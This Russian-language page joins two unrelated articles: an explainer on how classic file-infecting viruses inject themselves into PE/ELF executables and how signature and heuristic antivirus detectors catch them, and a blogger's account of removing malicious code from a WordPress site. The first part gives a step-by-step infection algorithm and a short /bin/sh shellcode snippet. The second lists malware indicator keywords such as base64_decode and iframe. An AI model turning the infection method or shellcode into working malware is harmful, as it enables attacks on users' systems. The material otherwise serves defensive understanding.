Как найти код для вируса

Поговорим о компьютерных вирусах? Нет, не о том, что вчера поймал ваш антивирус. Не о том, что вы скачали под видом инсталлятора очередного Photoshop. Не о rootkit-e, который стоит на вашем сервере, маскируясь под системный процесс. Не о поисковых барах, downloader-ах и другой малвари. Не о коде, который делает плохие вещи от вашего имени и хочет ваши деньги. Нет, всё это коммерция, никакой романтики…

Мы поговорим о компьютерных вирусах, как о коде, который способен порождать собственные копии, изменяясь от поколения к поколению. Которому, как и его биологическим собратьям, необходим файл-носитель, работоспособный, и остающийся работоспособным, чтобы давать жизнь новым поколениям вируса. Которому для размножения необходима благодатная среда, много вкусных исполняемых файлов, а также, много глупых и активных пользователей, чтобы они их запускали. Так что название «вирус» не просто красивый ярлычок для описания вредоносной программы, компьютерный вирус, в его классическом понимании, является сущностью весьма близкой к его биологическому аналогу. Человечество, как это не раз доказывалось, способно создавать весьма изощренные решения, особенно когда дело касается создания чего-нибудь наносящего вред другим людям.

Итак, давным-давно, после того, как DOS пришел к людям, и у каждого программиста появилась своя маленькая вселенная, где адресное пространство было единым, а права на файлы были всегда rwx, появилась мысль о том, может ли программа копировать сама себя. «Конечно, может!», – сказал программист и написал код, который копирует собственный исполняемый файл. Следующая мысль была «а могут ли две программы объединиться в одну?». «Конечно, могут!», – сказал программист и написал первый инфектор. «Только вот зачем?» – подумал он, и это стало началом эпохи компьютерных вирусов. Как оказалось, гадить на компьютере и всячески пытаться избежать обнаружения очень весело, а создание вирусов является очень интересным с точки зрения системного программиста делом. Кроме того, появившиеся на рынке антивирусы предоставляли создателям вирусов серьёзный вызов их профессионализму.

В общем, для статьи вполне достаточно лирики, перейдем к делу. Я хочу рассказать о классическом вирусе, его структуре, основных понятиях, методах детектирования и алгоритмах, которые используются обеими сторонами для победы.

Анатомия вируса

Мы будем говорить о вирусах, живущих в исполняемых файлах форматов PE и ELF, то есть о вирусах, тело которых представляет собой исполняемый код для платформы x86. Кроме того, пусть наш вирус не будет уничтожать исходный файл, полностью сохраняя его работоспособность и корректно инфицируя любой подходящий исполняемый файл. Да, ломать гораздо проще, но мы же договорились говорить о правильных вирусах, да? Чтобы материал был актуальным, я не буду тратить время на рассмотрение инфекторов старого формата COM, хотя именно на нем были обкатаны первые продвинутые техники работы с исполняемым кодом.

Основными частями кода вируса являются infector и payload. Infector – это код, который ищет подходящие для заражения файлы и внедряет в них вирус, стараясь максимально скрыть факт внедрения и при этом не повредить функционалу файла. Payload – это код, который выполняет собственно необходимые вирмейкеру действия, например, рассылает спам, DoS-ит кого-нибудь, или просто оставляет на машине текстовой файлик «Здесь был Виря». Нам совершенно непринципиально, что там внутри payload, главное, что вирмейкер всячески старается скрыть его содержимое.

Начнём со свойств кода вируса. Чтобы код удобней было внедрять, разделять код и данные не хочется, поэтому обычно используется интеграция данных прямо в исполняемый код. Ну, например, так:

    jmp message

the_back:
    mov eax, 0x4
    mov ebx, 0x1
    pop ecx		; со стека будет взят адрес «Hello, World»
    mov edx, 0xF
    int 0x80
...

message:
    call the_back       ; после исполнения на стеке будет лежать адрес «возврата», т.е. адрес «Hello, Worldn»
    db "Hello, World!", 0Dh, 0Ah

Или так:

push 0x68732f2f   ; “hs//”
push 0x6e69622f   ; “nib/”
mov ebx, esp ; в ESP теперь адрес строки «/bin/sh»
mov al, 11
int 0x80

Все эти варианты кода при определенных условиях можно просто скопировать в память и сделать JMP на первую инструкцию. Правильно написав такой код, позаботившись о правильных смещениях, системных вызовах, чистоте стека до и после исполнения, и т.д., его можно внедрять внутрь буфера с чужим кодом.

Предположим, вирмейкер имеет возможность написать код вируса в таком стиле, и теперь ему надо внедрить его в существующий исполняемый файл. Ему необходимо позаботиться о двух вещах:

  • Куда положить вирус? Необходимо найти достаточно места, чтобы вирус туда поместился, записать его туда, по возможности не разломав файл и так, чтобы в области, в которой вирус окажется, было разрешено исполнение кода.
  • Как передать управление на вирус? Просто положить вирус в файл недостаточно, надо еще совершить переход на его тело, а после завершения его работы вернуть управление программе-жертве. Или в другом порядке, но, в любом случае, мы же договорились не ломать ничего, да?

Итак, разберемся с внедрением в файл. Современные исполняемые форматы для платформы x86 в Windows и Linux – это PE (Portable Executable) и ELF (Executable and Linkable Format). Вы без проблем найдёте их спецификации в системной документации, и если будете заниматься вопросами защиты исполняемого кода, то точно не пропустите. Исполняемые форматы и системный загрузчик (код операционной системы, который занимается запуском исполняемого файла) являются одним из «слонов», на которых стоит операционная система. Процедура запуска .exe файла является очень сложным алгоритмически процессом с кучей нюансов, и рассказывать об этом можно в десятке статей, которые вы обязательно найдете сами, если тема вас заинтересует. Я ограничусь простым рассмотрением, достаточным для базового понимания процесса запуска. Чтобы в меня не кидались помидорами, далее под компилятором я буду иметь в виду весь комплекс программ, превращающий исходный код в готовый исполняемый файл, то есть, фактически, компилятор + линкер.

Исполняемый файл (PE или ELF) состоит из заголовка и набора секций. Секции – это выровненные (см. ниже) буферы с кодом или данными. При запуске файла секции копируются в память и под них выделяется память, причем совсем необязательно того объёма, который они занимали на диске. Заголовок содержит разметку секций, и сообщает загрузчику, как расположены секции в файле, когда он лежит на диске, и каким образом необходимо расположить их в памяти перед тем, как передать управление коду внутри файла. Для нас интересны три ключевых параметра для каждой секции, это psize, vsize, и flags. Psize (physical size) представляет собой размер секции на диске. Vsize (virtual size) – размер секции в памяти после загрузки файла. Flags – атрибуты секции (rwx). Psize и Vsize могут существенно различаться, например, если программист объявил в программе массив в миллион элементов, но собирается заполнять его в процессе исполнения, компилятор не увеличит psize (на диске содержимое массива хранить до запуска не нужно), а вот vsize увеличит на миллион чего-то там (в runtime для массива должно быть выделено достаточно памяти).

Флаги (атрибуты доступа) будут присвоены страницам памяти, в которые секция будет отображена. Например, секция с исполняемым кодом будет иметь атрибуты r_x (read, execute), а секция данных атрибуты rw_ (read,write). Процессор, попытавшись исполнить код на странице без флага исполнения, сгенерирует исключение, то же касается попытки записи на страницу без атрибута w, поэтому, размещая код вируса, вирмейкер должен учитывать атрибуты страниц памяти, в которых будет располагаться код вируса. Стандартные секции неинициализированных данных (например, область стека программы) до недавнего времени имели атрибуты rwx (read, write, execute), что позволяло копировать код прямо в стек и исполнять его там. Сейчас это считается немодным и небезопасным, и в последних операционных системах область стека предназначена только для данных. Разумеется, программа может и сама изменить атрибуты страницы памяти в runtime, но это усложняет реализацию.

Также, в заголовке лежит Entry Point — адрес первой инструкции, с которой начинается исполнение файла.

Необходимо упомянуть и о таком важном для вирмейкеров свойстве исполняемых файлов, как выравнивание. Для того чтобы файл оптимально читался с диска и отображался в память, секции в исполняемых файлах выровнены по границам, кратным степеням двойки, а свободное место, оставшееся от выравнивания (padding) заполнено чем-нибудь на усмотрение компилятора. Например, логично выравнивать секции по размеру страницы памяти – тогда ее удобно целиком копировать в память и назначать атрибуты. Даже вспоминать не буду про все эти выравнивания, везде, где лежит мало-мальски стандартный кусок данных или кода, его выравнивают (любой программист знает, что в километре ровно 1024 метра). Ну а описание стандартов Portable Executable (PE) и Executable Linux Format (ELF) для работающего с методами защиты исполняемого кода – это настольные книжки.

Так как адреса внутри всех этих секций связаны, просто шлепнуть кусок кода в середину секции, «перевязав» его JMP-ами не получится, исходный файл сломается. Поэтому популярными местами для внедрения кода вируса являются:

  • основная кодовая секция (перезапись вирусом начала исполняемого кода начиная прямо с Entry Point).
  • padding между окончанием заголовка и первой секцией. Там ничего нет и вполне можно уместить там небольшой вирус (либо его загрузчик) не сломав файл.
  • новая секция, которую можно дописать в заголовок и разместить в файле после всех остальных. В этом случае никакие внутренние смещения не поломаются, и с местом проблем тоже нет. Правда последняя секция в файле, в которой разрешено исполнение, конечно же, обратит на себя внимание эвристика.
  • padding между окончанием содержимого секции и ее выровненным концом. Это намного сложнее, так как сначала надо этот самый «конец» найти, и не факт, что нам повезет и места будет достаточно. Но для некоторых компиляторов это место можно обнаружить просто по характерным байтам

Есть способы и похитрее, некоторые я опишу во второй статье.

Теперь о передаче управления. Чтобы вирус отработал, его код должен каким-то способом получить управление. Самый очевидный способ: сначала управление получает вирус, а потом, после того, как он отработает – программа-хост. Это самый простой способ, но также имеют право на жизнь и варианты, когда вирус получает управление, например, после завершения работы хоста, или в середине исполнения, «замещая» исполнение какой-нибудь функции. Приведем несколько техник передачи управления (термин Entry Point или EP, используемый далее, – это точка входа, то есть адрес, на который системный загрузчик передаст управление после того, как подготовит исполняемый файл к запуску):

  1. JMP на тело вируса замещает первые байты, находящиеся в Entry Point файла. Затёртые байты вирус сохраняет в своём теле, и, по окончании собственной работы, восстанавливает их и передает управление на начало восстановленного буфера.
  2. Способ, похожий на предыдущий, но вместо байтов вирус сохраняет несколько полных машинных инструкций в Entry Point, тогда он может, ничего не восстанавливая (проследив только за корректной очисткой стека), выполнить их после окончания собственной работы и передать управление на адрес инструкции, следующей за «сворованными».
  3. Как и в случае с внедрением, есть способы и похитрее, но мы их тоже рассмотрим ниже, или отложим до следующей статьи.

Всё это – способы сделать корректную вставку буфера с кодом в некоторый исполняемый файл. При этом п.2 и п.3. подразумевают функционал, позволяющий понять, какие байты являются инструкциями, и где находятся границы между инструкциями. Ведь мы не можем «разорвать» инструкцию пополам, в этом случае все сломается. Таким образом, мы плавно переходим к рассмотрению дизассемблеров в вирусах. Понятие принципа работы дизассемблеров нам понадобится для рассмотрения всех нормальных техник работы с исполняемым кодом, поэтому ничего страшного, если я немного опишу его сейчас.

Если мы внедрим свой код в позицию точно между инструкциями, то сможем сохранить контекст (стек, флаги) и, выполнив код вируса, восстановить все обратно, вернув управление программе-хосту. Конечно, с этим тоже могут быть проблемы, если используются средства контроля целостности кода, антиотладка и т.п., но об этом тоже во второй статье. Для поиска такой позиции нам необходимо вот что:

  • поставить указатель точно на начало какой-нибудь инструкции (просто так взять рандомное место в исполняемой секции и начать дизассемблирование с него нельзя, один и тот же байт может быть и опкодом инструкции, и данными)
  • определить длину инструкции (для архитектуры x86 инструкции имеют разные длины)
  • переместить указатель вперед на эту длину. Мы окажемся на начале следующей инструкции.
  • повторять, пока не решим остановиться

Это минимальный функционал, необходимый для того, чтобы не попасть в середину инструкции, а функция, которая принимает указатель на байтовую строку, а в ответ отдает длину инструкции, называется дизассемблером длин. Например, алгоритм заражения может быть таким:

  1. Выбираем вкусный исполняемый файл (достаточно толстый, чтобы в него поместилось тело вируса, с нужным распределением секций и т.п.).
  2. Читаем свой код (код тела вируса).
  3. Берем несколько первых инструкций из файла-жертвы.
  4. Дописываем их к коду вируса (сохраняем информацию, необходимую для восстановления работоспособности).
  5. Дописываем к коду вируса переход на инструкцию, продолжающую исполнение кода-жертвы. Таким образом, после исполнения собственного кода вирус корректно исполнит пролог кода-жертвы.
  6. Создаем новую секцию, записываем туда код вируса и правим заголовок.
  7. На место этих первых инструкций кладем переход на код вируса.

Это вариант вполне себе корректного вируса, который может внедриться в исполняемый файл, ничего не сломать, скрыто выполнить свой код и вернуть исполнение программе-хосту. Теперь, давайте его ловить.

Анатомия детектора

Вдруг, откуда ни возьмись, появляется рыцарь на белом компе, в левой руке у него отладчик, а в правой – дизассемблер, программист антивирусной компании. Откуда он там взялся? Вы, конечно, догадались. С большой долей вероятности, он появился там из «смежной области». Антивирусная область в плане программирования весьма уважаема теми, кто в теме, ибо возиться этим ребятам приходится с весьма изощренными алгоритмами, причем в довольно стеснённых условиях. Сами посудите: у вас на входе сотня тысяч экземпляров всякой заразы и исполняемый файл, работать вы должны практически в реальном времени, а цена ошибки весьма высока.

Для антивируса, как и для любого конечного автомата, принимающего бинарное решение «да/нет» (инфицирован/здоров), существует два типа ошибок – false positive и false negative (ошибочно признал файл заразным, ошибочно пропустил зараженный). Понятно, что общее число ошибок надо снижать в любом раскладе, но false negative для антивируса куда более неприятна, чем false positive. «После скачивания торрента, перед установкой игры отключите антивирус» — знакомо? Это и есть «false positive» – crack.exe, записывающий что-то в исполняемый .exe файл для достаточно умного эвристического анализатора (см. ниже), выглядит как вирус. Как говорится: «лучше перебдеть, чем недобдеть».

Думаю, не надо описывать вам компоненты современного антивируса, все они крутятся вокруг одного функционала – антивирусного детектора. Монитор, проверяющий файлы на лету, сканирование дисков, проверка почтовых вложений, карантин и запоминание уже проверенных файлов – все это обвязка основного детектирующего ядра. Второй ключевой компонент антивируса – пополняемые базы признаков, без которых поддержание антивируса в актуальном состоянии невозможно. Третий, достаточно важный, но заслуживающий отдельного цикла статей компонент – мониторинг системы на предмет подозрительной деятельности.

Итак (рассматриваем классические вирусы), на входе имеем исполняемый файл и один из сотни тысяч потенциальных вирусов в нем. Давайте детектировать. Пусть это кусок исполняемого кода вируса:

XX XX XX XX XX XX	; начало вируса длиной N байт . . . 
68 2F 2F 73 68		push 0x68732f2f   ; “hs//”
68 2F 62 69 6E		push 0x6e69622f   ; “nib/”
8B DC			mov ebx, esp ; в ESP теперь адрес строки «/bin/sh»
B0 11			mov al, 11
CD 80			int 0x80
XX XX XX XX		; конец вируса длиной M байт . . .  

Сразу хочется просто взять пачку опкодов (68 2F 2F 73 68 68 2F 62 69 6E 8B DC B0 11 CD 80) и поискать эту байтовую строку в файле. Если нашли – попался, гад. Но, увы, оказывается эта же пачка байт встречается и в других файлах (ну мало ли кто вызывает командный интерпретатор), да еще и таких строк для поиска «стотыщ», если искать каждую, то никакая оптимизация не поможет. Единственный, быстрый и правильный способ проверить наличие такой строки в файле – это проверить ее существование по ФИКСИРОВАННОМУ смещению. Откуда его взять?

Вспоминаем «смежную область» — особенно места про то, куда вирус себя кладет и как передает себе управление:

  • вирус внедряется в padding между заголовком и началом первой секции. В этом случае можно проверить существование этой байт-строки по смещению
    «длина заголовка» + N (где N – число байт от начала вируса до байт-строки)
  • вирус лежит в новой, отдельной секции. В этом случаем можно проверить существование байт-строки от начала всех секций с кодом
  • вирус внедрился в padding между концом кода и концом кодовой секции. Можно использовать отрицательное смещение от конца секции, типа «конец кодовой секции» — М (где M — число байт от конца байт-строки до конца кода вируса) – «длина байт-строки»

Теперь оттуда же про передачу управления:

  • вирус записал свои инструкции прямо поверх инструкций в Entry Point. В этом случае ищем байт строку просто по смещению «Entry Point» + N(где N – число байт от начала вируса до байт-строки)
  • вирус записал в Entry Point JMP на свое тело. В этом случае надо сначала вычислить куда смотрит этот JMP, а потом искать байт-строку по смещению «адрес перехода JMP» + N(где N – число байт от начала вируса до байт-строки)

Что-то я устал писать «байт-строка», она переменной длины, хранить ее в базе неудобно, и совершенно необязательно, поэтому вместо байт-строки мы будем использовать её длину плюс CRC32 от неё. Такая запись очень короткая и сравнение работает быстро, так как CRC32 алгоритм не из медленных. Гнаться за устойчивостью к коллизиям контрольных сумм смысла нет, так как вероятность коллизии по фиксированным смещениям мизерная. Кроме того, даже в случае коллизии ошибка будет типа «false positive», что не так уж и страшно. Обобщаем все вышеописанное, вот примерная структура записи в нашей антивирусной базе:

  1. ID вируса
  2. флаги, указывающие откуда считать смещение (от EP, от конца заголовка, от конца первой секции, от начала всех секций, от адреса перехода инструкции JMP в EP и т.п.)
  3. смещение (offset)
  4. длина сигнатуры (Lsig)
  5. CRC32 сигнатуры (CRCsig)

Оптимизируем вход (оставляем только сигнатуры, которые «влазят» в данный файл, сразу из заголовка подготавливаем набор необходимых смещений) и далее:

{ # для всех подходящих записей 
-	на основании флагов вычисляем базовое смещение в файле (начало кодовой секции, entry point и т.п.)
-	прибавляем к нему offset
-	читаем Lsig байт
-	считаем от них CRC32
-	если совпало – мы поймали вирус
}

Ура, вот наш первый антивирус. Он достаточно крут, так как при помощи достаточно полной базы сигнатур, нормально подобранных флагов и хорошей оптимизации этот детектор способен очень быстро ловить 95% всяких зараз (подавляющее большинство современного malware это просто исполняемые файлы, без всякой способности к мутации). Далее начинается игра «кто быстрее обновит базы сигнатур» и «кому раньше пришлют новый экземпляр какой-нибудь гадости».

Сбор и каталогизация этой «гадости» является задачей весьма нетривиальной, но совершенно необходимой для качественного тестирования детектора. Сбор эталонной базы исполняемых файлов задача непростая: попробуйте найти все экземпляры зараженных файлов (для сложных случаев в нескольких экземплярах), каталогизировать их, перемешать с «чистыми» файлами и регулярно гонять по ним детектор с целью выявления ошибок детектирования. Такая база собирается годами, и является очень ценным активом антивирусных компаний. Возможно, я ошибаюсь, и её реально достать (всякие сервисы online-проверок на вирусы вполне в состоянии предоставить некоторый её аналог), но, когда я занимался этим вопросом, ничего похожего достать было нельзя (по крайней мере, под Linux).

Эвристический анализатор

Какое страшное слово – «эвристический анализатор», сейчас его и не увидишь в интерфейсах антивирусов (наверное, пугает пользователей). Это одна из самых интересных частей антивируса, так как в нее пихают все, что не укладывается ни в один из движков (ни сигнатурный, ни в эмулятор), и похож на доктора, который видит, что пациент кашляет и чихает, но определить конкретную болезнь не может. Это код, который проверяет файл на некоторые характерные признаки заражения. Примеры таких признаков:

  • некорректный (испорченный вирусом, но работоспособный) заголовок файла
  • JMP прямо в точке входа
  • «rwx» на секции кода

Ну, и так далее. Помимо указания факта заражения, эвристик может помочь принять решение – запускать ли более «тяжелый» анализ файла? Каждый признак имеет разный вес, от «подозрительный какой-то» до «не знаю чем, но файл заражен точно». Именно эти признаки дают большинство ошибок «false positive». Не забудем также о том, что именно эвристик может предоставить антивирусной компании экземпляры потенциальных вирусов. Сработал эвристик, но ничего конкретного не было найдено? Значит файл точно является кандидатом на отправку в антивирусную компанию.

Межвидовое взаимодействие и эволюция

Как мы увидели, для быстрого и точного сравнения детектору необходимы сами байты сигнатуры и ее смещение. Или, другим языком, содержимое кода и адрес его расположения в файле-хосте. Поэтому понятно, как развивались идеи сокрытия исполняемого кода вирусов – по двум направлениям:

  • сокрытие кода самого вируса;
  • сокрытие его точки входа.

Сокрытие кода вируса в результате вылилось в появление полиморфных движков. То есть движков, позволяющих вирусу изменять свой код в каждом новом поколении. В каждом новом зараженном файле тело вируса мутирует, стараясь затруднить обнаружение. Таким образом, затрудняется создание содержимого сигнатуры.

Сокрытие точки входа (Entry Point Obscuring) в результате послужило толчком для появления в вирусных движках автоматических дизассемблеров для определения, как минимум, инструкций перехода. Вирус старается скрыть место, с которого происходит переход на его код, используя из файла то, что в итоге приводит к переходу: JMP, CALL, RET всякие, таблицы адресов и т.п. Таким образом, вирус затрудняет указание смещения сигнатуры.

Гораздо более подробно некоторые алгоритмы таких движков и детектора мы посмотрим во второй статье, которую я планирую написать в ближайшее время.

Параллельно с развитием вирусных движков и противостоящих им детекторов активно развивались коммерческие защиты исполняемых файлов. Появилось огромное количество небольших коммерческих программ, и разработчикам нужны были движки, позволяющие взять EXE-файл и «завернуть» его в некоторый «конверт», который умеет защищенным образом генерировать валидный серийный номер. А кто у нас умеет скрывать исполняемый код, и внедрять его в исполняемые файлы без потери работоспособности? Правильно, те самые разработчики из «смежной области». Поэтому написание хорошего полиморфного вируса и навесной защиты исполняемого файла – это очень похожие задачи, с использованием одних и тех же алгоритмов и инструментов. Так же схожи и процесс анализа вирусов и создания сигнатур и взлом коммерческого ПО. В обоих случаях надо добраться до истинного кода и либо создать сигнатуру, либо достать из него алгоритм генерации серийного номера.

В интернетах существуют несколько страниц по теме «классификация компьютерных вирусов». Но мы же договорились, вирус – это то, что умеет само себя воспроизводить в системе, и чему необходим файл-носитель. Поэтому всякие трояны-руткиты-malware – это не вирусы, а тип payload-кода, который вирус может таскать на себе. Для описываемых в статье технологий классификация компьютерных вирусов может быть только одна: полиморфные и неполиморфные вирусы. То есть меняющиеся от поколения к поколению, либо нет.

Рассмотренный в статье детектор легко детектирует неполиморфные (мономорфными их назвать, что ли) вирусы. Ну а переход к полиморфным вирусам является отличным поводом, наконец, завершить эту статью, пообещав вернуться к более интересным методам сокрытия исполняемого кода во второй части.

naiti-vredonosnui-codВредоносный код на сайте

Как найти на сайте вредоносный код, плагины, логи и сервисы чтобы проверить сайт на вирусы.

Доброго времени суток! Сегодня решил написать статью на тему блогинга. Эта тематика меня не привлекает и обычно я пишу о другом, но здесь так получилось, что столкнулся, в июле этого года, с одной неприятной вещью на своем сайте и пришлось не мало повоевать прежде чем проблема решилась.

Ну а если появился опыт и некоторые знания, почему бы не поделиться с блогерами- коллегами, труд которых я уважаю и которые, я знаю бывают, на моем сайте. В общем пока в памяти живо…

Неприятная вещь с которой я столкнулся,- это вирус на сайте. Вредоносный код, который появлялся в некоторых файлах и ломал движок сайта на Вордпресс.

Проявлялось это тем, что возникала ошибка при одобрении комментариев, не работало меню вставки картинок и виджет.

В общем я уже сталкивался с подобным раньше, когда подключал на сайте какой нибудь плагин, который конфликтовал с шаблоном или другими плагинами и поэтому сначала подумал что дело в каком то новом плагине(в его обновлении) или рекламном коде. Короче в чем то новом, что я недавно сделал на сайте.

Не буду тянуть резину и рассказывать все подробности, в общем, в итоге все дело оказалось во вредоносном скрипте, который каким то образом проник на мой сайт. И это не мудрено, если учесть что я хоть и установил защиту, но не слишком обращал на все это внимание, — пользовался малозащищенным доступом к хостингу для подключения к сайту; сохранял пароль при входе в админку, не использовал другие, более совершенные, способы защиты.

И хоть я описал только самые важные моменты того, как искал- удалял вирус, что нашел интересного, чем пользовался и т.п.., статья получилась очень большой.

Начну наверно с того, что в кратце расскажу как я искал вредоносный код:

Сразу, как узнал что на сайте какой то вирус, сам просматривал различные файлы, и открывая очередной файл, нажимал Ctrl + F, и в маленьком, открывшемсякак проверить сайт на вирусы окошке (справа, вверху) просто вставлял наиболее встречающиеся вредоносные команды-коды (о которых будет чуть ниже) и жал Enter.. Таким образом проверял основные файлы темы и движка Вордпресс.

Так вообще легко можно найти любой кусочек кода или слова в документе.

А если вы знаете что вирус появился не давно, то при проверке этим нудным способом, нужно проверять файлы, которые по «дате редактирования»(смотрите справа от файла), были изменены недавно.

Я покопался  пару дней- не хрена не нашел, и сначала обратился с просьбой к Людмиле, автору шаблона моего сайта.

Кстати она делает красивые и что важно, оптимизированные и удобные в управлении шаблоны на различные темы. К тому же, встроенные в них скрипты- функции позволяют обходится без многих важных, но тяжелых плагинов, даже All In One SEO Pack не нужен.

Людмила полностью обновила Вордпресс, то есть не только движок(как это делаем мы с вами) а абсолютно все файлы и потом удалила с хостинга все прежние, старые. Вроде бы это сначала помогло, но уже вскоре сбои повторились. Обратился за помощью к фрилансеру на этом сервисе https://www.fl.ru/.

Написал, в мной созданном проекте, примерно следующее,-  «На сайте есть вредоносный код, это подтвердилось и т.д… Если вы хорошо разбираетесь в программировании и имеете опыт в устранении подобных проблем, прошу вашей помощи». Предложение я получил в этот же день.

Переходим к вредоносному коду на сайте:

Для начала как проверить сайт на вирусы: Это можно сделать на сервисе http://2ip.ru/site-virus-scaner/.

Но учтите что этот сервис лишь может указать подозрение на вирус. То есть конкретно сказать и показать где и что, если вдруг действительно имеется вредоносный код на сайте, он вам не подскажет.

Он учитывает и указывает подозрения в тех случаях, где к примеру, есть рекламные коды с iframe-вставками. В общем может кричать и ложную тревогу, так что не кипишуйте увидев красную надпись. Главное что сервис укажет- относит ли Google и Yandex ваш сайт к безопасным. Этот сайт годится для быстрой проверки на вирус.

antivirus-alarmБолее серьезный ресурс для проверки сайта на вредоносный код http://antivirus-alarm.ru/. Проверяет различные функции такие как вирус на сайте, вредоносные JavaScript, плавающие вредоносные фреймы, IE атак, укажет сомнительные ссылки и т.п. Для сканирования он использует антивирусные базы известных, мировых компаний, поэтому и полное сканирование сайта может длиться довольно долго.

Ещё на этом сервисе(внизу) есть раздел где можно посмотреть как выглядят различные виды обнаруживаемых вредоносных кодов.

Ну и если вдруг что, здесь же вы можете обратиться за лечением сайта, хотя и услуга там совсем не дешевая. Я бы конечно порекомендовал нанять опытного фрилансера программиста, что я и сделал.

Поиск ошибок и Логи на хостинге

 
Кстати, если вообще говорить об ошибках на сайте, то чтобы в будущем можно было быстро узнать о каких либо ошибках, которые вдруг появились в скриптах или вызваны конфликтом плагинов, ошибки в кодах и файлах,- обязательно подключите логи на своем хостинге.

Как правило, даже на мощных хостингах таких как http://www.timeweb.ru/ это функция не подключена. Вы сами должны написать в тех.поддержку вашего хостера, что бы подключили логи такие как error_log и access_log. 

error_log

Эти файлы автоматически будут архивироваться на вашем хостинге рядом с корневой(главной) папкой(public.html). Вы их скачиваете себе на комп, открываете например в обычном Ворде и смотрите что находится в данном файле. Особенно это актуально для error_log.

Вы сами легко разберетесь что это за файлы и для чего,  достаточно задать вопрос в тех поддержку хостинга, но если вкратце файл error_log — будет указывать,- есть ли вообще какие либо ошибки на сайте и в чем они выражаются, в каком файле происходит чего то не того.

access_log — покажет все возможные подключения к вашему серверу. Сами вы вряд ли станете в нем разбираться(там куча всего), я так точно забил, но фрилансеру, если будет нужно, показать можно.

В основном нужен access_log  для обнаружения тех, кто использует URL картинок с вашего сайта и тем самым нагружает ваш сервер, хотя это можно легко предотвратить но об этом в другой статье.

А когда будете просматривать скачанный вами файл error_log(его вы легко проверите сами), и он окажется пуст, значит у вас все в порядке, ошибок нет.

И так, где и как проверить сайт на вирусы и на ошибки вы теперь знаете. А теперь о важных сервисах и плагинах по поиску и удалению вредоносного кода.

Сервис для постоянной проверки

 
servisНу, а сейчас о хорошем сервисе, к которому я подключил свой сайт, и то же рекомендую сделать вам, лишним не будет.

Сервис http://www.siteguard.ru/. Что он дает? Во- первых он находит все подозрительные коды и показывает весь их внешний вид. В том числе безопасные скрипты, так что в этом он как и все. Хотя на мой взгляд и более избирательный.

Но главное его преимущество в том, что зарегистрировавшись и подключив сайт к этому сервису, он автоматически будет его сканировать в определенное время и в случае обнаружения любого нового кода, в том числе и безопасного. Будет высылать, на проверку, сообщение вам на емейл.

Это даст возможность, в случае чего нехорошего, быстрей среагировать и принять меры пока Яндекс торомозит(как иногда он любит делать) и первым не обнаружит вирус.

Ведь потом, помимо падения посещаемости, будет дополнительная морока с тем, чтобы поисковик восстановил доверие к сайту. То есть это даст вам некоторое преимущество во времени. Эта услуга на сервисе бесплатная, по крайней мере пока.

Ну, а если уж Яндекс обнаружил и повесил на ваш сайт клеймо, то все- кранты, сайт можно забыть….. Ахах, шучу конечно, надеюсь ваше сердце бьется..

Ничего страшного друзья, просто сразу после удаления вируса, обязательно идите на Яндекс Вебмастер и пишите в тех. поддержку письмо, а иначе так и будет сайт считаться опасным. То же самое и с Google. Статус здорового ему восстановят в течении ближайших 1-3 дней.

Теперь о плагинах для поиска вируса

К хорошим плагинам для поиска вредоносного кода на сайте смело можно отнести Exploit Scanner. И как написал в своей статье автор этого плагина, этот инструмент оказал мне неоценимую услугу, потому как вредоносный код, в моем случае, появлялся в разных местах сайта. Рекомендую почитать про этот плагин подробней по ссылке автора.

Например на моем сайте, вредный код явно полюбил файл functions.php так как после первого удаления, через время снова оказался на том же самом месте. Кроме того код был обнаружен плагином в файле index.html и в каком то файле с окончанием на «js«.

Но к сожалению почему то не обнаружил кода в базе данных, хотя плагин специализируется на этом. Вообще, код там нашли вручную, в файле wp_wfHits.sql.

В этом файле содержалась куча информации о различных ссылках и много другой всевозможной инфы, это что то вроде кеша, памяти, которая собирала о сайте всЁ и вся. На вашем хостинге возможно вся эта информация хранится в файле под другим названием, но у меня в этом.

И вообще, на будущее, подобную информацию нужно удалять, то есть чистить базу данных MySQL не только спец. плагинами WP-Optimize и Optimize DB, но и вручную на хостинге перейдя в раздел Базы данных MySQL (иначе никак) Это важно чтобы не захламлять базу данных, ведь это влияет на скорость сайта, и тем самым на поведенческий фактор и посещаемость.

У меня например база данных сократилась с 63 Мб до 14Мб. Делать только это нужно аккуратно, предварительно сделав БЕКАП. Ну обо всем таком подробней как нибудь в другой раз или почитайте на блоге Александра Борисова в этой статье.

Только замечу ещё важную вещь,- если при входе в базу данных MySQL, вы забыли пароль и решили его сменить на новый(это легко сделать в данном разделе), то не забудьте зайти в главную папку public.html и найти в ней файл wp-config.php, а в нем найти вот это:

fail 1

и вместо старого пароля (звездочки), вписать этот новый, иначе вместо сайта вы увидите надпись типа,- «Нет доступа к запрашиваемым базам данных», то есть ваш сайт испарится, ну не совсем конечно.

Что то я отвлекся. И так продолжаем, плагин Exploit Scanner, так же как и антивирусные сервисы, реагирует не только на вирус, но и на здоровые скрипты. Поэтому, где бы вы и чем не проверяли сайт, никогда не торопитесь что то удалять.

Нередко под подозрение попадают счетчики статистики, такие как Ливинтернет, Яндекс Метрика, Mail.ru и вот к примеру, какие кусочки показывающие суть, можно увидеть в таких скриптах(выделено зеленым):

коды счетчиков

 Кроме этого, скрипты рекламы, кнопки и виджеты от соц. сетей:

коды определения

А так же среди подозрительных могут оказаться коды самого шаблона.

Просматривая эти файлы находите в них знакомые вставки- названия, таким способом можно спокойно исключить 90% всех подозрений выданных плагином или сервисом. Ну, а в остальном придется поразбираться. И можно сравнивать старый файл из прошлого БЕКАПА, с новой его версией, в котором был найден этот код, и тем самым тоже понять, в нем ли находится угроза.

У меня же после того как вредоносный код был найден и удален из базы данных и ещё из какого то файла сайта, на этом все закончилось.

Я не буду демонстрировать вам найденный код, я оставил его на http://www.siteguard.ru/, и множества подобного вы можете посмотреть на сервисе выше.

Скажу только что он имел в себе такие вкрапления,- Evil и base64_decode в начале самого кода, потом шифрованная длинная абракадабра и iframe и echo внутри кода.

Наиболее часто встречаемыми вредоносными кодами считаются файлы с командами,- sscounter; Evil; base64_decode; iframe; explode.

Но вы должны учесть что к примеру такие части как base64_decode ; iframe; explode не так уж редко используются и в безопасном коде, например у меня сейчас один рекламный скрипт содержит в себе вставку iframe. 

И когда присутствует в коде команда iframe, то как правило, если это вредоносный скрипт,  где то рядом(внутри) есть ссылка на другой сайт, опять же если это не рекламный код. Ссылка может быть обычного и скрытого вида в виде абракадабры.

Теперь о Плагине ТАС. — плагин для обнаружения вирусов на сайте Theme Authenticity Checker (TAC) знаю о таком, но сам не воспользовался, точней сказать, установил уже после удаления вредоносного кода, когда сайт уже какое то время нормально проработал и ещё раз проверил сайт этим плагином.

